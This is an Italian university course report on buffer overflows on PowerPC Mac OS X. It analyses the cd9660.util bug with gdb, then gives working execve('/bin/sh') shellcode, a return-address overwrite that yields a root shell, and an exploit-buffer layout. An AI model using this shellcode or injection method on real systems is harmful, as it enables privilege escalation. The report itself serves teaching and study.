Corso di Sicurezza dei Sistemi Informatici
Anno Accademico 2003–2004
Buffer Overflow su Piattaforma PowerPC

Guido Casiraghi
guido.casiraghi@tin.it

Sommario

In questa relazione viene presentato come realizzare un *buffer overflow* su piattaforma PowerPC e sistema operativo Mac OS X. Dopo una breve presentazione dell'architettura, si analizza un caso di vulnerabilità reale. Viene poi presentato il cosiddetto *shell code* e il modo in cui è possibile "iniettare" questo codice in un programma vulnerabile, così da ottenere il pieno controllo del sistema.

Breve descrizione dell'architettura

In [4] e [6] è data ampia descrizione del linguaggio *assembly* e del funzionamento a runtime di *Mac OS X*. Vengono presentati qui alcuni dettagli necessari per comprendere le sezioni successive.

Il PowerPC è un processore RISC a 32 bit. Dispone dei seguenti registri:

Registri	**Descrizione**
`r0-r31`	Registri *general purpose*
`f0-f31`	Registri *floating point*
`xer`	Registro di eccezione *fixed point*
`fpscr`	Registro di controllo e di stato *floating point*
`cr`	*Condition Register*
`lr`	*Link Register*
`ctr`	*Count Register*
`v0-v31`	Registri vettoriali (AltiVec)

L'architettura del PowerPC ha un solo metodo di indirizzamento per le istruzioni `load` e `store`: registro più scostamento. La forma generale è dunque `scostamento(registro)`. Le parentesi devono essere comunque utlizzate anche se lo scostamento è nullo.

L'ambiente runtime del PowerPC utilizza uno **stack** che cresce verso il basso e che contiene le informazioni per il *linking*, le variabili locali e i parametri delle routine. Per convenzione, viene utlizzato uno **stack pointer**

(memorizzato nel registro `r1`), ma nessun frame pointer. Questa configurazione asssume una dimensione fissa dello stack frame, che è nota a tempo di compilazione.

Lo **stack frame** della funzione chiamante include un'area per i parametri e alcune informazioni di *linking*. La **parameter area** ha lo spazio necessario per i parametri di tutte le funzioni chiamate. È responsabilità del chiamante predisporre i parametri per il chiamato in quest'area dello stack. È invece responsabilità del chiamato di accedere a questi parametri.

La **linkage area** contiene un certo numero di valori, alcuni dei quali sono salvati dalla funzione chiamante e altri dalla funzione chiamata. Gli elementi di quest'area sono disposti nel modo seguente:

- Il valore del *Link Register* `lr` è salvato in posizione `8(sp)` dal chiamato se quest'ultimo decide di farlo.
- Il valore del *Condition Register* può essere salvato in posizione `4(sp)` dal chiamato. Come per il registro precedente la funzione chiamata non ha l'obbligo di salvare questo valore.
- Lo stack pointer è sempre salvato dalla funzione chiamante all'interno del suo stack frame.

Si noti che la **linkage area** si trova in cima allo stack ed è adiacente allo stack pointer. Questa posizione è necessaria per far sì che la funzione chiamante trovi e rispristini i valori salvati e che quella chiamata acceda ai suoi parametri.

Lo stack frame include anche lo spazio necessario per le variabili locali del chiamato.

La funzione chiamante ha la responsabilità di allocare il proprio stack frame, preservando l'allineamento di 16 bit sullo stack. La parte di codice che esegue questa operazione si chiama solitamente **prologo**. Il prologo si trova prima del corpo della funzione. Il compilatore genera poi alla fine del codice della funzione l'**epilogo**. Quest'ultimo si occupa di ripristinare lo stato del processore precedente all'esecuzione del prologo. Segue il codice di esempio per prologo ed epilogo.

```
linkageArea: set 24   # dimensione nell'ambiente PowerPC
params: set 32        # parameter area del chiamato
localVars: set 0      # variabili locali del chiamato
numGPRs: set 0        # GPR volatili usati dal chiamato
numFPRs: set 0        # FPR volatili usati dal chiamato

spaceToSave: set linkageArea + params + localVars
spaceToSave: set spaceToSave + 4*numGPRs + 8*numFPRs
```

```
.functionName:                  # PROLOGO
    mflr  r0                    # estrae l'indirizzo
                                #  di ritorno
    stw   r0,8(SP)              # salva l'indirizzo
    stwu  SP, -spaceToSave(SP) # decrementa lo stack pointer

    [...]

                                # EPILOGO
    lwz   r0,spaceToSave(SP)+8 # rimmetti l'indirizzo
                                # di ritorno
    mtlr  R0                    # nel Link Register
    addic SP,SP,spaceToSave     # rispristina lo stack pointer
    blr                         # e salta all'indirizzo
                                # di ritorno
```

Analisi di una vulnerabilità

Questa sezione analizza un caso reale di programma vulnerabile. Il programma in questione si chiama `cd9660.util`. Si tratta di un comando per montare dischi con file system *ISO 9660* (tipicamente CD-ROM). L'annuncio della vulnerabilità è apparso su *Security Focus*[1]. Si tratta di esempio tipico di programma difettoso con bit *setuid* impostato che permette ad un attaccante di acquisire privilegi di *root*. Su *Security Focus* viene mostrata la vulnerabilità passando al programma come parametro una stringa di 512 caratteri e causando in tal modo un *segmentation fault*. Come *exploit* viene dunque fornita la seguente "proof of concept":

```
./cd9660.util -p ‘perl -e "print ’A’x512"‘
```

Questo problema viene discusso nel modo seguente:

> The cd9660.util utility has been reported prone to a local buffer overrun vulnerability. Excessive data supplied as an argument for the probe for mounting switch, passed to the cd9660.util utility will overrun the bounds of a reserved buffer in memory. Because memory adjacent to this buffer has been reported to contain saved values that are crucial to controlling execution flow, a local attacker may potentially influence cd9660.util execution flow into attacker-supplied instructions. [3]

Si noti che questo difetto è stato corretto circa una settimana dopo l'annuncio sul sito. Apple infatti ha reso disponibile una patch per gli utenti del suo sistema operativo.

Eseguendo il comando sopra riportato (passando cioè come parametro al proogramma una stringa di 512 caratteri) si ottiene effettivamente un *segmentation fault*:

```
guido$ ./cd9660.util -p ‘perl -e "print ’A’x512"‘
Segmentation fault
```

Per capire che cosa sta succedendo si deve utilizzare il debugger:

```
guido$ gdb cd9660.util
[gdb output]
(gdb) run -p A ... (512 volte) ... A
Starting program: /Users/guido/bin/cd9660.util -p A ... A
Program received signal EXC_BAD_ACCESS, Could not access memory.
0x9000d360 in strcat ()
```

C’è dunque un problema in una chiamata alla funzione `strcat()`. Si tratta dunque di uno *scenario tipico* per un buffer overflow. Utilizzando il debugger si può cercare di capire dove avviene questo overflow:

```
(gdb) info frame
Stack level 0, frame at 0xbffff790:
 pc = 0x9000d360 in strcat; saved pc 0x2b84
 (FRAMELESS), called by frame at 0xbffff790
 Arglist at 0xbffff790, args:
 Locals at 0xbffff790, Previous frame’s sp is 0xbffff790
 Saved registers:
  pc at 0xbffff78f
(gdb) x 0x9000d360
0x9000d360 <strcat+160>:        0x89040000
(gdb) x 0x2b84
0x2b84 <main+108>:      0x83bc0004
```

Come si vede dagli ultimi due comandi, l’overflow avviene nella funzione `strcat()`, che è stata chiamata dalla funzione `main()`. Con il comando `disassemble` si può vedere quale istruzione ha causato il *segmentation fault*:

```
(gdb) disassemble strcat
Dump of assembler code for function strcat:
0x9000d2c0 <strcat+0>:  andi.   r0,r3,3
0x9000d2c4 <strcat+4>:  dcbtst  r0,r3
0x9000d2c8 <strcat+8>:  lis     r6,-258
...
[codice di strcat()]
...
0x9000d360 <strcat+160>:        lbz     r8,0(r4)
...
```

Stampando il contenuto dei registri si capisce che il problema si trova proprio nel registro `r4`:

```
(gdb) info registers
r0             0x3      3
r1             0xbffff790       3221223312
r2             0x3dcc   15820
r3             0xbffff7d0       3221223376
r4             0x41414141       1094795585
...
```

Il contenuto del registro 4 è dunque "`AAAA`"! Guardando il codice assembly della funzione `strcat()` e di `main()` si riesce a risalire all'istruzione che ha modificato il registro in questione:

```
0x00002b6c <main+84>:   lwz     r4,8(r28)
```

Si tratta dunque di una istruzione di `main()`. Si noti che è precedente alla chiamata di `strcat()`. Sempre utilizzando il debugger si trova che il contenuto del registro 28 è `0xbffffaac`. Verifichiamo la correttezza di questa ipotesi:

```
(gdb) x 0xbffffaac+8
0xbffffab4:     0x41414141
```

Facendo una serie di stampe della memoria intorno a questo valore si ritrova l'array di caratteri che ha causato l'overflow:

```
0xbffff8c0:  0xbffff910  0xbffff910  0x8fe16020  0x9000ec08
0xbffff8d0:  0x2f646576  0x2f414141  0x41414141  0x41414141
...
0xbffffac0:  0x41414141  0x41414141  0x41414141  0x41414141
0xbffffad0:  0x41414141  0x4100fe14  0xbffffe28  0xbffffe4a
```

A questo punto non si capisce perché la memoria fosse corrotta *già prima* della chiamata di `strcat()`. Utilizzando ancora il comando `disassemble` per la funzione `main()` si scopre il motivo:

```
...
0x00002b60 <main+72>:   bl      0x3d08 <dyld_stub_strcat>
0x00002b64 <main+76>:   addi    r30,r1,64
0x00002b68 <main+80>:   addis   r2,r31,0
0x00002b6c <main+84>:   lwz     r4,8(r28)
0x00002b70 <main+88>:   addi    r2,r2,4772
0x00002b74 <main+92>:   mr      r3,r30
```

```
0x00002b78 <main+96>:   lswi    r9,r2,7
0x00002b7c <main+100>:  stswi   r9,r30,7
0x00002b80 <main+104>:  bl      0x3d08 <dyld_stub_strcat>
0x00002b84 <main+108>:  lwz     r29,4(r28)
0x00002b88 <main+112>:  li      r3,0
0x00002b8c <main+116>:  bl      0x3ce8 <dyld_stub_seteuid>
...
```

La memoria è stata corrotta da una precedente chiamata a `strcat()` (istruzione `<main+72>`)! Dai comandi precedenti si era visto che lo stack pointer della funzione che ha chiamato `strcat()`, cioè `main()`, si trova in posizione `0xbffff790`. L'area di memoria interessata dall'overflow si trova sopra questo valore (`0xbffff8d5`–`0xbffffad5`) e dunque il buffer in cui `strcat()` scrive appartiene alla funzione `main()`.

Per concludere, sembrerebbe possibile sovrascrivere l'indirizzo di ritorno di `main()` così da iniettare codice maligno e prendere il controllo della macchina. In realtà, per quanto concerne questo caso particolare ciò non sembra possibile. Il motivo è il seguente:

```
(gdb) disassemble main
Dump of assembler code for function main:
0x00002b18 <main+0>:    mflr    r0
...
0x00002bf4 <main+220>:  bl      0x3708 <dyld_stub_exit>
End of assembler dump.
```

L'ultima istruzione del `main()` non è dunque un ritorno al chiamante, ma una chiamata ad `exit()`. Quest'ultima termina il processo. Non è possibile quindi iniettare shellcode in **main()**.

Shell Code

Questa sezione presenta il cosiddeto *shell code*. Si tratta solitamente di un codice di piccole dimensioni che se eseguito lancia una shell, possibilmente con privilegi di amministratore. Qui viene presentato il codice assembler per eseguire `execve(path, argv, NULL)`. Per ottene una shell di root il programma in cui viene "iniettato" questo codice deve (1) appartenere a root e (2) avere il bit *setuid* impostato.

Il codice *assembly* qui presentato è preso da [9] ed è ispirato ad un articolo del gruppo *Last Stage of Delirium* [8]:

```
.globl _execve_binsh
.text
_execve_binsh:
```

```
    ;; Non eseguire branch ma effettua il linking.
    ;; In questo modo si ottiene l'indirizzo di questo codice.
    ;; Copia questo indirizzo nel registro 31
    ;; Fonte: shellcode per AIX/PPC di LSD
    xor.    r5, r5, r5  ; r5 = NULL
    bnel    _execve_binsh
    mflr    r31

    ;; Utilizza come offset il numero "magico" 268.
    ;; In questo modo la codifica delle istruzioni
    ;; non contiene byte nulli.
    addi    r31, r31, 268+36
    addi    r3, r31, -268   ; r3 = path

    ;; Crea argv[] = {path, 0} nella "zona rossa" sullo stack
    stw r3, -8(r1)  ; argv[0] = path
    stw r5, -4(r1)  ; argv[1] = NULL
    subi    r4, r1, 8   ; r4 = {path, 0}

    ;; 59 = 30209 >> 9    (trucco per evitare byte nulli)
    li  r30, 30209
    srawi   r0, r30, 9  ; r0 = 59
    sc          ; execve(path, argv, NULL)
path:   .asciz "/bin/sh"
```

L'istruzione `xor. r5, r5, r5`, oltre ad azzerare il registro 5, imposta il bit `EQ` del registro condizionale `cr0`, che riflette lo stato *zero* o *equality* del risultato dell'esecuzione di una istruzione. L'istruzione `bnel` è un *branch* condizionale che esegue il salto *se il bit* `EQ` *di* `cr0` *non è impostato*. Questa condizione nel nostro caso è sempre falsa e **il salto non viene mai eseguito**. Ciononostante, come risultato dell'esecuzione di `bnel` il linking viene effettuato e nel registro `lr` viene salvato il valore di ritorno `<_execve_binsh+8>`. Siccome il registro `lr` è un registro speciale che non può essere utilizzato come un operando nelle operazioni di accesso a memoria, il suo contenuto viene spostato nel registro 31 tramite l'istruzione `mflr`.

Le due istruzioni successive sono equivalenti alla singola istruzione `addi r3, r31, 36`. Dopo l'esecuzione di questa istruzione il registro 3 contiene l'indirizzo dell'etichetta `path`, cioè l'indirizzo della stringa "`/bin/sh`". D'altra parte il codice di questa istruzione, se assemblata, risulta essere `0x387f0024`, che contiene un byte nullo. Per ovviare a questo problema si può ricorrere ad uno stratagemma come quello qui presentato: prima si somma $268 + 36$ al registro 31, poi si sottare 268 dallo stesso registro e si mette il risultato in `r3`.

Prima di chiamare l'istruzione `sc`, che esegue la chiamata di sistema, bisogna caricare nel registro `r0` il numero di `execve` che è 59. L'istruzione normale per fare ciò sarebbe `0x3800003b`, ma contiene due byte nulli. La soluzione consiste nel caricare in `r30` il numero 30209. Su questo si applica poi un'operazione di *shift* di 9 bit a destra (`srawi` sta per *Shift Right Algebraic Word Immediate*), il cui risultato è appunto 59.

Si assembla questo codice con l'assembler di Mac OS X tramite il comando:

```
guido$ as -o execve_binsh.o execve_binsh.s
```

Si ottiene il seguente dump esadecimale:

```
7c a5 2a 79 40 82 ff fd 7f e8 02 a6
3b ff 01 30 38 7f fe f4 90 61 ff f8
90 a1 ff fc 38 81 ff f8 3b c0 76 01
7f c0 4e 70 44 00 00 02 2f 62 69 6e
2f 73 68
```

La parola `0x44000002` corrisponde all'istruzione `sc`: ci sono ancora due byte nulli! Come spiegato alla sezione 3.3.3 di [8], secondo la documentazione del PowerPC i bit riservati nella codifica di questa istruzione devono essere messi a zero. In realtà questi bit riservati non influenzano il campo dello *opcode* di `sc`. Guardando la documentazione del processore, si nota che nessun'altra istruzione utilizza questo *opcode*. Quindi l'unità di decodifica dovrebbe riconoscere comunque l'istruzione. Ed effettivamente è così. È possibile dunque modificare manualmente questo codice sostituendo il byte `ff` al posto di `00`.

Infine si ottiene il seguente codice `C`:

```
char shellcode[] =
 "\x7c\xa5\x2a\x79" /* xor.  r5, r5, r5  ; r5 = NULL         */
 "\x40\xa2\xff\xfd" /* bnel  shellcode                       */
 "\x7f\xe8\x02\xa6" /* mflr  r31                             */
 "\x3b\xff\x01\x30" /* addi  r31, r31, 268+36                */
 "\x38\x7f\xfe\xf4" /* addi  r3, r31, -268 ; r3 = path       */
 "\x90\x61\xff\xf8" /* stw   r3, -8(r1)  ; argv[0] = path    */
 "\x90\xa1\xff\xfc" /* stw   r5, -4(r1)  ; argv[1] = NULL    */
 "\x38\x81\xff\xf8" /* subi  r4, r1, 8   ; r4 = {path, 0}    */
 "\x3b\xc0\x76\x01" /* li    r30, 30209                      */
 "\x7f\xc0\x4e\x70" /* srawi r0, r30, 9                      */
 "\x44\xff\xff\x02" /* sc                ; execve(r3, r4, r5)*/
 "/bin/sh"
;
```

Come iniettare il codice

Una volta trovato lo shell code è necessario capire come fare in modo che un programma difettoso lo esegua. Si è provato ad iniettare lo shellcode sovrascrivendo l'indirizzo di ritorno di una funzione. Tramite l'utilizzo del debugger `gdb` è stato possibile capire esattamente qual è lo **scostamento** tra una determinata variabile locale di una funzione e il punto in cui è stato salvato l'indirizzo di ritorno.

Si consideri una funzione `inietta()` così definita:

```
void inietta()
{
    int i = 0;
    int *SHELLCODE_ADDR;
    SHELLCODE_ADDR = (int *) shellcode;
    printf("Valore di SHELLCODE_ADDR = %p\n", SHELLCODE_ADDR);
    *((&i) + OFFSET) = SHELLCODE_ADDR;
}
```

Qui `shellcode` è l'array di caratteri riportato nella sezione precedente. Si tratta di determinare quanto vale `OFFSET`. Si supponga di avere un file di nome `iniezione-1.c` che contenga la funzione `inietta()` ed un `main()` che si limita a chiamare questa funzione. Si compili il file con i simboli di debug e si lanci il debugger:

```
guido$ gcc -ggdb -o iniezione-1 iniezione-1.c
guido$ gdb iniezione-1
```

Per stabilire dove inserire un *breakpoint* si deve disassemblare la funzione `inietta()`:

```
(gdb) disassemble inietta
Dump of assembler code for function inietta:
0x00001ec0 <inietta+0>: mflr    r0
0x00001ec4 <inietta+4>: stmw    r30,-8(r1)
0x00001ec8 <inietta+8>: stw     r0,8(r1)
0x00001ecc <inietta+12>:        stwu  r1,-96(r1)
0x00001ed0 <inietta+16>:        mr    r30,r1
0x00001ed4 <inietta+20>:        bcl-  20,4*cr7+so,0x1ed8
0x00001ed8 <inietta+24>:        mflr  r31
0x00001edc <inietta+28>:        li    r0,0
0x00001ee0 <inietta+32>:        stw   r0,64(r30)
0x00001ee4 <inietta+36>:        addis r2,r31,0
0x00001ee8 <inietta+40>:        addi  r2,r2,4572
0x00001eec <inietta+44>:        stw   r2,68(r30)
```

```
0x00001ef0 <inietta+48>:        addis r3,r31,0
0x00001ef4 <inietta+52>:        addi  r3,r3,680
0x00001ef8 <inietta+56>:        lwz   r4,68(r30)
0x00001efc <inietta+60>:        bl    0x20c4 <dyld_stub_printf>
0x00001f00 <inietta+64>:        lwz   r0,68(r30)
0x00001f04 <inietta+68>:        stw   r0,104(r30)
0x00001f08 <inietta+72>:        lwz   r1,0(r1)
0x00001f0c <inietta+76>:        lwz   r0,8(r1)
0x00001f10 <inietta+80>:        mtlr  r0
0x00001f14 <inietta+84>:        lmw   r30,-8(r1)
0x00001f18 <inietta+88>:        blr
End of assembler dump.
```

Si può impostare un breakpoint subito dopo la chiamata alla funzione `printf()`:

```
(gdb) break *0x00001f00
Breakpoint 1 at 0x1f00: file iniezione-1.c, line 64.
(gdb) run
Starting program: /Users/.../iniezione-1
Reading symbols for shared libraries . done
Valore di SHELLCODE_ADDR = 0x30b4

Breakpoint 1, inietta () at prova-iniezione-shellcode-1.c:64
64              *((&i) + 10) = SHELLCODE_ADDR;
```

A questo punto è interessante stampare le informazioni sullo stack frame corrente:

```
(gdb) info frame
Stack level 0, frame at 0xbffffad0:
 pc = 0x1f00 in inietta (prova-iniezione-shellcode-1.c:64);
 saved pc 0x1f3c
 called by frame at 0xbffffb30
 source language c.
 Arglist at 0xbffffad0, args:
 Locals at 0xbffffad0, Previous frame's sp is 0xbffffb30
 Saved registers:
  r30 at 0xbffffb28, r31 at 0xbffffb2c, pc at 0xbffffb38,
  lr at 0xbffffb38
```

Come si vede il **program counter** è salvato all'indirizzo `0xbffffb38`. Il suo valore è `0x1f3c`. Per verificare che si tratti dell'indirizzo corretto si può digitare:

```
(gdb) x 0x1f3c
0x1f3c <main+32>:       0x3c7f0000
```

Si tratta duque di una istruzione del `main()`, come ci si poteva aspettare. Adesso bisogna recuperare l'indirizzo della variabile `i` e calcolare l'offset:

```
(gdb) p &i
$1 = (int *) 0xbffffb10
(gdb) p 0xbffffb38-0xbffffb10
$2 = 40
```

Ci sono dunque 40 byte tra la variabile `i` e la zona di memoria in cui è salvato l'indirizzo di ritorno. Quindi il valore di `OFFSET` è 10:

```
(gdb) p 40 / sizeof(int)
$4 = 10
```

Non rimane altro che provare ad eseguire il programma con il valore di offset corretto:

```
guido$ ./iniezione-1
Valore di SHELLCODE_ADDR = 0x30b4
sh-2.05b$
```

Si ottiene dunque una shell! Come ultimo test è possibile modificare il proprietario dell'eseguibile con il comando `sudo chown root:wheel iniezione-1` ed impostare il suo bit `setuid`:

```
guido$ touch /System/ciao
touch: /System/ciao: Permission denied
guido$ sudo chmod +s iniezione-1
guido$  ls -l iniezione-1
-rwsr-sr-x  1 root  wheel  16572 14 Feb 16:08 iniezione-1
guido$ ./iniezione-1
Valore di SHELLCODE_ADDR = 0x30b4
sh-2.05b#
sh-2.05b# touch /System/ciao
sh-2.05b# ls -l /System
total 0
drwxr-xr-x  52 root  wheel  1768  7 Feb 16:17 Library
-rw-r--r--   1 root  wheel     0 14 Feb 16:43 ciao
```

Si è ottenuta una shell con privilegi di root: si ha così il pieno controllo del sistema!

Normalmente lo shell code viene iniettato sovrascrivendo l'indirizzo di ritorno di una funzione "difettosa". Si prenda per esempio un altro caso simile a quello del programma `cd9660.util` in cui la funzione `main()` contiene un buffer in cui avviene l'overflow:

```
int main(int argc, char **argv)
{
        char myBuffer[BUF_SIZE];
        [...]
}
```

Anche in questo caso si può utilizzare il metodo presentato in precedenza. Bisogna cioè utilizzare il debugger per capire qual è l'offset tra il carattere `myBuffer[BUF_SIZE - 1]` e l'indirizzo di memoria in cui è salvato il program counter. Volendo sovrascrivere manualmente l'indirizzo di ritorno come in precedenza bisogna ricordarsi che un `char` occupa un byte di memoria, mentre un indirizzo occupa un'intera parola (4 byte). È necessario quindi eseguire un cast esplicito nel modo seguente:

```
*((int *)((&myBuffer[BUF_SIZE-1]) + OFFSET)) = SHELLCODE_ADDR;
```

Utilizzando il debugger si scopre poi in questo caso che il valore corretto per `OFFSET` è 25. Per creare un exploit per questo buffer si deve infine creare un array di caratteri con la seguente struttura. *All'inizio* può esserci un certo numero di `nop`, seguiti dallo **shell code** vero e proprio. Si aggiungono poi caratteri a caso fino a *riempire la dimensione del buffer* (`BUF_SIZE`). Seguono poi altri caratteri "di riempimento" *in numero pari a* ***`OFFSET`*** (25 in questo esempio). A questo punto si deve inserire *l'indirizzo a cui si vuole fare saltare il codice* (un qualche indirizzo compreso tra il primo carattere dell'exploit buffer e la prima istruzione dello shell code).

Riferimenti bibliografici

[1] Security Focus, `http://www.securityfocus.com`.

[2] SecurityFocus Vulns Archive, `http://www.securityfocus.com/bid`.

[3] SecurityFocus Vulns Archive, *MacOSX CD9660.Util Probe For Mounting Argument Local Buffer Overflow Vulnerability*, `http://www.securityfocus.com/bid/9228`.

[4] Apple Developer Connection, *Introduction to the Mac OS X Assembler Guide*, `http://developer.apple.com/documentation/DeveloperTools/Reference/Assembler/`.

[5] Apple Developer Connection, *PowerPC Registers and Addressing Modes*, `http://developer.apple.com/documentation/DeveloperTools/Reference/Assembler/PPCInstructions/chapter\_6\_section\_2.html`.

[6] Apple Developer Connection, *Introduction to Runtime Architecture*, http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/index.html.

[7] Apple Developer Connection, *PowerPC Stack Structure*, http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/index.html.

[8] The Last Stage of Delirium Research Group, *UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes*, http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf

[9] PPC/Mac OS X shell code, http://www.dopesquad.net/security/.